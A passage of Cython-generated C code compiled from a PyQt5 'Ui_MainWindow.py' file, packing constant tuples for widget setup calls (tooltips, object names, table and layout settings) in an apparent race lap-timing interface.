self.B_Define_2.setStatusTip("") * self.B_Define_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Define_2.setAccessibleDescription("") * self.B_Define_2.setFrame(True) */ __pyx_tuple__501 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__501)) __PYX_ERR(0, 782, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__501); __Pyx_GIVEREF(__pyx_tuple__501); /* "Ui_MainWindow.py":783 * self.B_Define_2.setStatusTip("") * self.B_Define_2.setAccessibleName("") * self.B_Define_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Define_2.setFrame(True) * self.B_Define_2.setObjectName("B_Define_2") */ __pyx_tuple__502 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__502)) __PYX_ERR(0, 783, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__502); __Pyx_GIVEREF(__pyx_tuple__502); /* "Ui_MainWindow.py":784 * self.B_Define_2.setAccessibleName("") * self.B_Define_2.setAccessibleDescription("") * self.B_Define_2.setFrame(True) # <<<<<<<<<<<<<< * self.B_Define_2.setObjectName("B_Define_2") * self.B_Define_2.addItem("") */ __pyx_tuple__503 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__503)) __PYX_ERR(0, 784, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__503); __Pyx_GIVEREF(__pyx_tuple__503); /* "Ui_MainWindow.py":785 * self.B_Define_2.setAccessibleDescription("") * self.B_Define_2.setFrame(True) * self.B_Define_2.setObjectName("B_Define_2") # <<<<<<<<<<<<<< * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") */ __pyx_tuple__504 = PyTuple_Pack(1, __pyx_n_u_B_Define_2); if (unlikely(!__pyx_tuple__504)) __PYX_ERR(0, 785, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__504); __Pyx_GIVEREF(__pyx_tuple__504); /* "Ui_MainWindow.py":786 * self.B_Define_2.setFrame(True) * self.B_Define_2.setObjectName("B_Define_2") * self.B_Define_2.addItem("") # <<<<<<<<<<<<<< * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") */ __pyx_tuple__505 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__505)) __PYX_ERR(0, 786, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__505); __Pyx_GIVEREF(__pyx_tuple__505); /* "Ui_MainWindow.py":787 * self.B_Define_2.setObjectName("B_Define_2") * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") # <<<<<<<<<<<<<< * self.B_Define_2.addItem("") * self.horizontalLayout_5.addWidget(self.B_Define_2) */ __pyx_tuple__506 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__506)) __PYX_ERR(0, 787, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__506); __Pyx_GIVEREF(__pyx_tuple__506); /* "Ui_MainWindow.py":788 * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") * self.B_Define_2.addItem("") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.B_Define_2) * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) */ __pyx_tuple__507 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__507)) __PYX_ERR(0, 788, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__507); __Pyx_GIVEREF(__pyx_tuple__507); /* "Ui_MainWindow.py":791 * self.horizontalLayout_5.addWidget(self.B_Define_2) * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Stop_2.setEnabled(False) # <<<<<<<<<<<<<< * self.B_Stop_2.setToolTip("") * self.B_Stop_2.setStatusTip("") */ __pyx_tuple__508 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__508)) __PYX_ERR(0, 791, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__508); __Pyx_GIVEREF(__pyx_tuple__508); /* "Ui_MainWindow.py":792 * self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Stop_2.setEnabled(False) * self.B_Stop_2.setToolTip("") # <<<<<<<<<<<<<< * self.B_Stop_2.setStatusTip("") * self.B_Stop_2.setAccessibleName("") */ __pyx_tuple__509 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__509)) __PYX_ERR(0, 792, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__509); __Pyx_GIVEREF(__pyx_tuple__509); /* "Ui_MainWindow.py":793 * self.B_Stop_2.setEnabled(False) * self.B_Stop_2.setToolTip("") * self.B_Stop_2.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Stop_2.setAccessibleName("") * self.B_Stop_2.setAccessibleDescription("") */ __pyx_tuple__510 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__510)) __PYX_ERR(0, 793, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__510); __Pyx_GIVEREF(__pyx_tuple__510); /* "Ui_MainWindow.py":794 * self.B_Stop_2.setToolTip("") * self.B_Stop_2.setStatusTip("") * self.B_Stop_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Stop_2.setAccessibleDescription("") * self.B_Stop_2.setObjectName("B_Stop_2") */ __pyx_tuple__511 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__511)) __PYX_ERR(0, 794, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__511); __Pyx_GIVEREF(__pyx_tuple__511); /* "Ui_MainWindow.py":795 * self.B_Stop_2.setStatusTip("") * self.B_Stop_2.setAccessibleName("") * self.B_Stop_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Stop_2.setObjectName("B_Stop_2") * self.horizontalLayout_5.addWidget(self.B_Stop_2) */ __pyx_tuple__512 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__512)) __PYX_ERR(0, 795, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__512); __Pyx_GIVEREF(__pyx_tuple__512); /* "Ui_MainWindow.py":796 * self.B_Stop_2.setAccessibleName("") * self.B_Stop_2.setAccessibleDescription("") * self.B_Stop_2.setObjectName("B_Stop_2") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.B_Stop_2) * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) */ __pyx_tuple__513 = PyTuple_Pack(1, __pyx_n_u_B_Stop_2); if (unlikely(!__pyx_tuple__513)) __PYX_ERR(0, 796, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__513); __Pyx_GIVEREF(__pyx_tuple__513); /* "Ui_MainWindow.py":799 * self.horizontalLayout_5.addWidget(self.B_Stop_2) * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Start_2.setToolTip("") # <<<<<<<<<<<<<< * self.B_Start_2.setStatusTip("") * self.B_Start_2.setAccessibleName("") */ __pyx_tuple__514 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__514)) __PYX_ERR(0, 799, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__514); __Pyx_GIVEREF(__pyx_tuple__514); /* "Ui_MainWindow.py":800 * self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) * self.B_Start_2.setToolTip("") * self.B_Start_2.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Start_2.setAccessibleName("") * self.B_Start_2.setAccessibleDescription("") */ __pyx_tuple__515 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__515)) __PYX_ERR(0, 800, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__515); __Pyx_GIVEREF(__pyx_tuple__515); /* "Ui_MainWindow.py":801 * self.B_Start_2.setToolTip("") * self.B_Start_2.setStatusTip("") * self.B_Start_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Start_2.setAccessibleDescription("") * self.B_Start_2.setObjectName("B_Start_2") */ __pyx_tuple__516 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__516)) __PYX_ERR(0, 801, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__516); __Pyx_GIVEREF(__pyx_tuple__516); /* "Ui_MainWindow.py":802 * self.B_Start_2.setStatusTip("") * self.B_Start_2.setAccessibleName("") * self.B_Start_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Start_2.setObjectName("B_Start_2") * self.horizontalLayout_5.addWidget(self.B_Start_2) */ __pyx_tuple__517 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__517)) __PYX_ERR(0, 802, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__517); __Pyx_GIVEREF(__pyx_tuple__517); /* "Ui_MainWindow.py":803 * self.B_Start_2.setAccessibleName("") * self.B_Start_2.setAccessibleDescription("") * self.B_Start_2.setObjectName("B_Start_2") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.B_Start_2) * self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) */ __pyx_tuple__518 = PyTuple_Pack(1, __pyx_n_u_B_Start_2); if (unlikely(!__pyx_tuple__518)) __PYX_ERR(0, 803, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__518); __Pyx_GIVEREF(__pyx_tuple__518); /* "Ui_MainWindow.py":807 * self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) * self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) * self.R_RaceLive_2.setToolTip("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setStatusTip("") * self.R_RaceLive_2.setAccessibleName("") */ __pyx_tuple__519 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__519)) __PYX_ERR(0, 807, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__519); __Pyx_GIVEREF(__pyx_tuple__519); /* "Ui_MainWindow.py":808 * self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) * self.R_RaceLive_2.setToolTip("") * self.R_RaceLive_2.setStatusTip("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setAccessibleName("") * self.R_RaceLive_2.setAccessibleDescription("") */ __pyx_tuple__520 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__520)) __PYX_ERR(0, 808, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__520); __Pyx_GIVEREF(__pyx_tuple__520); /* "Ui_MainWindow.py":809 * self.R_RaceLive_2.setToolTip("") * self.R_RaceLive_2.setStatusTip("") * self.R_RaceLive_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setAccessibleDescription("") * self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) */ __pyx_tuple__521 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__521)) __PYX_ERR(0, 809, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__521); __Pyx_GIVEREF(__pyx_tuple__521); /* "Ui_MainWindow.py":810 * self.R_RaceLive_2.setStatusTip("") * self.R_RaceLive_2.setAccessibleName("") * self.R_RaceLive_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) */ __pyx_tuple__522 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__522)) __PYX_ERR(0, 810, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__522); __Pyx_GIVEREF(__pyx_tuple__522); /* "Ui_MainWindow.py":814 * self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive_2.setTabKeyNavigation(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setProperty("showDropIndicator", False) * self.R_RaceLive_2.setDragDropOverwriteMode(False) */ __pyx_tuple__523 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__523)) __PYX_ERR(0, 814, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__523); __Pyx_GIVEREF(__pyx_tuple__523); /* "Ui_MainWindow.py":815 * self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive_2.setTabKeyNavigation(False) * self.R_RaceLive_2.setProperty("showDropIndicator", False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setDragDropOverwriteMode(False) * self.R_RaceLive_2.setAlternatingRowColors(True) */ __pyx_tuple__524 = PyTuple_Pack(2, __pyx_n_u_showDropIndicator, Py_False); if (unlikely(!__pyx_tuple__524)) __PYX_ERR(0, 815, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__524); __Pyx_GIVEREF(__pyx_tuple__524); /* "Ui_MainWindow.py":816 * self.R_RaceLive_2.setTabKeyNavigation(False) * self.R_RaceLive_2.setProperty("showDropIndicator", False) * self.R_RaceLive_2.setDragDropOverwriteMode(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setAlternatingRowColors(True) * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) */ __pyx_tuple__525 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__525)) __PYX_ERR(0, 816, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__525); __Pyx_GIVEREF(__pyx_tuple__525); /* "Ui_MainWindow.py":817 * self.R_RaceLive_2.setProperty("showDropIndicator", False) * self.R_RaceLive_2.setDragDropOverwriteMode(False) * self.R_RaceLive_2.setAlternatingRowColors(True) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) */ __pyx_tuple__526 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__526)) __PYX_ERR(0, 817, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__526); __Pyx_GIVEREF(__pyx_tuple__526); /* "Ui_MainWindow.py":820 * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive_2.setRowCount(0) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setColumnCount(7) * self.R_RaceLive_2.setObjectName("R_RaceLive_2") */ __pyx_tuple__527 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__527)) __PYX_ERR(0, 820, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__527); __Pyx_GIVEREF(__pyx_tuple__527); /* "Ui_MainWindow.py":821 * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive_2.setRowCount(0) * self.R_RaceLive_2.setColumnCount(7) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setObjectName("R_RaceLive_2") * item = QtWidgets.QTableWidgetItem() */ __pyx_tuple__528 = PyTuple_Pack(1, __pyx_int_7); if (unlikely(!__pyx_tuple__528)) __PYX_ERR(0, 821, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__528); __Pyx_GIVEREF(__pyx_tuple__528); /* "Ui_MainWindow.py":822 * self.R_RaceLive_2.setRowCount(0) * self.R_RaceLive_2.setColumnCount(7) * self.R_RaceLive_2.setObjectName("R_RaceLive_2") # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") */ __pyx_tuple__529 = PyTuple_Pack(1, __pyx_n_u_R_RaceLive_2); if (unlikely(!__pyx_tuple__529)) __PYX_ERR(0, 822, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__529); __Pyx_GIVEREF(__pyx_tuple__529); /* "Ui_MainWindow.py":824 * self.R_RaceLive_2.setObjectName("R_RaceLive_2") * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_tuple__530 = PyTuple_Pack(1, __pyx_n_u_Sorting); if (unlikely(!__pyx_tuple__530)) __PYX_ERR(0, 824, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__530); __Pyx_GIVEREF(__pyx_tuple__530); /* "Ui_MainWindow.py":839 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(6, item) * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) # <<<<<<<<<<<<<< * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) */ __pyx_tuple__531 = PyTuple_Pack(1, __pyx_int_100); if (unlikely(!__pyx_tuple__531)) __PYX_ERR(0, 839, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__531); __Pyx_GIVEREF(__pyx_tuple__531); /* "Ui_MainWindow.py":840 * self.R_RaceLive_2.setHorizontalHeaderItem(6, item) * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) */ __pyx_tuple__532 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__532)) __PYX_ERR(0, 840, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__532); __Pyx_GIVEREF(__pyx_tuple__532); /* "Ui_MainWindow.py":841 * self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) */ __pyx_tuple__533 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__533)) __PYX_ERR(0, 841, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__533); __Pyx_GIVEREF(__pyx_tuple__533); /* "Ui_MainWindow.py":842 * self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) # <<<<<<<<<<<<<< * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) */ __pyx_tuple__534 = PyTuple_Pack(1, __pyx_int_15); if (unlikely(!__pyx_tuple__534)) __PYX_ERR(0, 842, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__534); __Pyx_GIVEREF(__pyx_tuple__534); /* "Ui_MainWindow.py":843 * self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) * self.toolBox.addItem(self.P_Laptime, "") */ __pyx_tuple__535 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__535)) __PYX_ERR(0, 843, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__535); __Pyx_GIVEREF(__pyx_tuple__535); /* "Ui_MainWindow.py":848 * self.Tab_Container.addTab(self.T_Race, "") * self.T_Results = QtWidgets.QWidget() * self.T_Results.setObjectName("T_Results") # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Results, "") * self.T_Monitor = QtWidgets.QWidget() */ __pyx_tuple__536 = PyTuple_Pack(1, __pyx_n_u_T_Results); if (unlikely(!__pyx_tuple__536)) __PYX_ERR(0, 848, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__536); __Pyx_GIVEREF(__pyx_tuple__536); /* "Ui_MainWindow.py":851 * self.Tab_Container.addTab(self.T_Results, "") * self.T_Monitor = QtWidgets.QWidget() * self.T_Monitor.setToolTip("") # <<<<<<<<<<<<<< * self.T_Monitor.setStatusTip("") * self.T_Monitor.setAccessibleName("") */ __pyx_tuple__537 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__537)) __PYX_ERR(0, 851, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__537); __Pyx_GIVEREF(__pyx_tuple__537); /* "Ui_MainWindow.py":852 * self.T_Monitor = QtWidgets.QWidget() * self.T_Monitor.setToolTip("") * self.T_Monitor.setStatusTip("") # <<<<<<<<<<<<<< * self.T_Monitor.setAccessibleName("") * self.T_Monitor.setAccessibleDescription("") */ __pyx_tuple__538 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__538)) __PYX_ERR(0, 852, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__538); __Pyx_GIVEREF(__pyx_tuple__538); /* "Ui_MainWindow.py":853 * self.T_Monitor.setToolTip("") * self.T_Monitor.setStatusTip("") * self.T_Monitor.setAccessibleName("") # <<<<<<<<<<<<<< * self.T_Monitor.setAccessibleDescription("") * self.T_Monitor.setObjectName("T_Monitor") */ __pyx_tuple__539 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__539)) __PYX_ERR(0, 853, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__539); __Pyx_GIVEREF(__pyx_tuple__539); /* "Ui_MainWindow.py":854 * self.T_Monitor.setStatusTip("") * self.T_Monitor.setAccessibleName("") * self.T_Monitor.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.T_Monitor.setObjectName("T_Monitor") * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) */ __pyx_tuple__540 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__540)) __PYX_ERR(0, 854, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__540); __Pyx_GIVEREF(__pyx_tuple__540); /* "Ui_MainWindow.py":855 * self.T_Monitor.setAccessibleName("") * self.T_Monitor.setAccessibleDescription("") * self.T_Monitor.setObjectName("T_Monitor") # <<<<<<<<<<<<<< * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) */ __pyx_tuple__541 = PyTuple_Pack(1, __pyx_n_u_T_Monitor); if (unlikely(!__pyx_tuple__541)) __PYX_ERR(0, 855, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__541); __Pyx_GIVEREF(__pyx_tuple__541); /* "Ui_MainWindow.py":857 * self.T_Monitor.setObjectName("T_Monitor") * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) */ __pyx_tuple__542 = PyTuple_Pack(4, __pyx_int_neg_1, __pyx_int_neg_1, __pyx_int_801, __pyx_int_531); if (unlikely(!__pyx_tuple__542)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__542); __Pyx_GIVEREF(__pyx_tuple__542); /* "Ui_MainWindow.py":858 * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") # <<<<<<<<<<<<<< * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) */ __pyx_tuple__543 = PyTuple_Pack(1, __pyx_n_u_verticalLayoutWidget); if (unlikely(!__pyx_tuple__543)) __PYX_ERR(0, 858, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__543); __Pyx_GIVEREF(__pyx_tuple__543); /* "Ui_MainWindow.py":860 * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout.setObjectName("verticalLayout") * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() */ __pyx_tuple__544 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__544)) __PYX_ERR(0, 860, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__544); __Pyx_GIVEREF(__pyx_tuple__544); /* "Ui_MainWindow.py":861 * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") # <<<<<<<<<<<<<< * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) */ __pyx_tuple__545 = PyTuple_Pack(1, __pyx_n_u_verticalLayout); if (unlikely(!__pyx_tuple__545)) __PYX_ERR(0, 861, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__545); __Pyx_GIVEREF(__pyx_tuple__545); /* "Ui_MainWindow.py":863 * self.verticalLayout.setObjectName("verticalLayout") * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) # <<<<<<<<<<<<<< * self.horizontalLayout_9.setObjectName("horizontalLayout_9") * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) */ __pyx_tuple__546 = PyTuple_Pack(4, __pyx_int_neg_1, __pyx_int_1, __pyx_int_neg_1, __pyx_int_1); if (unlikely(!__pyx_tuple__546)) __PYX_ERR(0, 863, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__546); __Pyx_GIVEREF(__pyx_tuple__546); /* "Ui_MainWindow.py":864 * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) * self.horizontalLayout_9.setObjectName("horizontalLayout_9") # <<<<<<<<<<<<<< * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) */ __pyx_tuple__547 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout_9); if (unlikely(!__pyx_tuple__547)) __PYX_ERR(0, 864, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__547); __Pyx_GIVEREF(__pyx_tuple__547); /* "Ui_MainWindow.py":867 * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__548 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__548)) __PYX_ERR(0, 867, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__548); __Pyx_GIVEREF(__pyx_tuple__548); /* "Ui_MainWindow.py":868 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) * self.TM_T_passage.setSizePolicy(sizePolicy) */ __pyx_tuple__549 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__549)) __PYX_ERR(0, 868, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__549); __Pyx_GIVEREF(__pyx_tuple__549); /* "Ui_MainWindow.py":871 * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) * self.TM_T_passage.setSizePolicy(sizePolicy) * self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) # <<<<<<<<<<<<<< * self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) * font = QtGui.QFont() */ __pyx_tuple__550 = PyTuple_Pack(2, __pyx_int_16777215, __pyx_int_16777215); if (unlikely(!__pyx_tuple__550)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__550); __Pyx_GIVEREF(__pyx_tuple__550); /* "Ui_MainWindow.py":872 * self.TM_T_passage.setSizePolicy(sizePolicy) * self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) * self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(8) */ __pyx_tuple__551 = PyTuple_Pack(2, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__551)) __PYX_ERR(0, 872, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__551); __Pyx_GIVEREF(__pyx_tuple__551); /* "Ui_MainWindow.py":874 